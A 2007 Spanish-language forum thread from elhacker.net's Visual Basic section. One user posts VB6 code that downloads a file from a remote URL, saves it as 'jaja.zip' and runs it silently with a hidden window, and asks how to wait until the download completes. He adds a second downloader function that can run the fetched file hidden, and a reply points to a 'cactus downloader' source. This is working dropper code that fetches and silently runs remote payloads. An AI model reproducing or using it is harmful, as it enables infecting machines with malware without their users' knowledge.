elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  función DownloadToFile
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: función DownloadToFile  (Leído 975 veces)
elrecar

Desconectado Desconectado

Mensajes: 30


Ver Perfil
función DownloadToFile
« en: 7 Septiembre 2007, 22:49 pm »

Código:
Option Explicit

Private Declare Function URLDownloadToFile Lib "urlmon.dll" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Public Function DownloadFile(url As String, LocalFileName As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, url, LocalFileName, 0, 0)
DownloadFile = (lngRetVal = 0)
End Function

Private Sub Command1_Click()
Dim url As String
Dim file As String
Dim ret As String

url = "http://www.terra.es/personal3/fistror/e/MS03-043.zip"
file = Environ("homedrive") & "\jaja.zip"

Call DownloadFile(url, file)

ret = Shell("start " & Chr(34) & file & Chr(34), vbHide)

End Sub

como ven alli invoco a la funcion downloadtofile y guardo el file como jaja.zip, luego hago un ret = Shell("start " & Chr(34) & file & Chr(34), vbHide) para ejecutar el archivo pero me sale error "no existe el fichero", es obvio que esta ejecutando esa sentencia antes de que el archivo se haya descargado x completo, yo pense en ponerle un sleep pero queda muy chancho, mejor seria intentar ejecutarlo luego de haber temrinado la descarga sin usar un sleep, alguna idea? además esa forma de ejecución no me convence mucho ya que serviria solo para XP y no se si win 2000 creo que no, no?


aqui les dejo la función downloadtofile que va en un módulo .bas para los intreresados en la misma:

Código:
Function DownloadFile(ByVal url As String, ByVal SaveName As String, Optional SavePath As String = "TMP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)
    On Error Resume Next
    Err.Clear
 
    Set XML = CreateObject("Microsoft.XMLHTTP")
    Set ADS = CreateObject("ADODB.Stream")
 
    XML.Open "GET", url, False
    XML.send
 
    XML.getAllResponseHeaders
 
    FullSavePath = Environ(SavePath) & "\" & SaveName
 
    ADS.Open
    ADS.Type = 1
    ADS.Write XML.responseBody
    ADS.SaveToFile FullSavePath, 2
 
    If Err Then
        DownloadFile = False
    Else
        If RunAfterDownload = True Then
            If RunHide = True Then
                Shell FullSavePath, vbHide
            Else
                Shell FullSavePath, vbNormalFocus
            End If
        End If
        DownloadFile = True
    End If
End Function

saludos!


En línea

-Lozano-

Desconectado Desconectado

Mensajes: 10


Ver Perfil
Re: función DownloadToFile
« Respuesta #1 en: 15 Septiembre 2007, 20:50 pm »

Pero creo que esto ya esta en el foro, Madantrax lo puso un ejemplo junto al source de su cactus downloader creo y a mi me funciona muy bien, para encontrar esto use el boton buscar y busque downloader y ya esta un ejemplo y el source code.

Saludos


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines